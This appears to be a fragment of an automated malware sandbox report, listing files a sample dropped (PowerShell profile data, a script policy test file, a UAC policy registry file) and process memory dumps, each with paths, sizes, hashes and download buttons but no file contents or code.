SHA512 07d777dbf05bd38c50cf032e00ca03657312fbde0cc0d89986d92f8cd5d7910f71a63995c61ee92d6b34cea6cea73d9e9ed2c929fcb368b2e4a31f7dad7b3b21
TLSH
T1B1219737B3DC8214CCDA403A10CDAD0032BAC7CB809ECF9B6B84E259A42F6A9DE61050
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e8aa16ede3f80e0dad48746c11bde727f459a46b67abd0f73e2446fb7040d1f0
MD5 4880089178d7be39477f9af1b2e33acd
SHA1 db3b06c6a56099fb0a4d427e92187f58f5104dae
SHA512 5651ac19291dced86cd5ad65928b2ec61dd2f833584ec6e6bcb9f85f6a392b65b05d37afe3a28aa6b41426bc242d3485cd2c2a21cdac0c2e2ea840b0aa9d267b
TLSH
T1D8219A33B3DC8614CCD9513A10CDAC1032B6C7CB409ECF9B6B84D255A82F6A9DE61550
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_3mgutkyq.zfv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3mgutkyq.zfv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

ma_uac_policy.reg

Path C:\Users\Admin\AppData\Local\Temp\ma_uac_policy.reg
Size 270B
SHA256 e2a06bfc6d3494434ea5499c263b63107d83f1e1c40b27c1fb65fc0ffeb736bd
MD5 978d59daae7617ec2b3ba9d6b71935ae
SHA1 9bf9f87d37bf30a391c171df586492b449169510
SHA512 42cf371a48b9031db4e56cd8d40c30ca2e7d8e1de5ae965a32c4f971ef3911ac4c425bfb5c4250ed191da1cb79b6230497d57bb7a6d7e116f30d2e89e95e7e1f
TLSH
T101D05E79C940CACBE3A9A0204667F5563779751B38C3990140B48250BAD2AD6D1658D7
MD5 SHA1 SHA512 TLSH

Submit Download

memory/480-333-0x00007FF7783D0000-0x00007FF7787B5000-memory.dmp

Download

memory/1784-261-0x000002053DDA0000-0x000002053DE52000-memory.dmp

Download

memory/1968-245-0x0000027A8F190000-0x0000027A8F1AE000-memory.dmp

Download

memory/1968-242-0x0000027A8F0E0000-0x0000027A8F102000-memory.dmp

Download

memory/1968-247-0x0000027A8F180000-0x0000027A8F18A000-memory.dmp

Download

memory/1968-246-0x0000027AA7300000-0x0000027AA73B2000-memory.dmp

Download

memory/1968-248-0x0000027A8F1C0000-0x0000027A8F1EA000-memory.dmp

Download

memory/1968-249-0x0000027A8F1C0000-0x0000027A8F1E4000-memory.dmp

Download

memory/2152-338-0x00007FF7783D0000-0x00007FF7787B5000-memory.dmp

Download

memory/2152-339-0x00007FF7783D0000-0x00007FF7787B5000-memory.dmp

Download

memory/3456-328-0x00007FF640F90000-0x00007FF64102B000-memory.dmp

Download

memory/3460-270-0x00007FF673570000-0x00007FF6735DD000-memory.dmp

Download

memory/4756-282-0x0000011AA9860000-0x0000011AA9912000-memory.dmp

Download

memory/6112-308-0x000001ABA8800000-0x000001ABA88B2000-memory.dmp

Download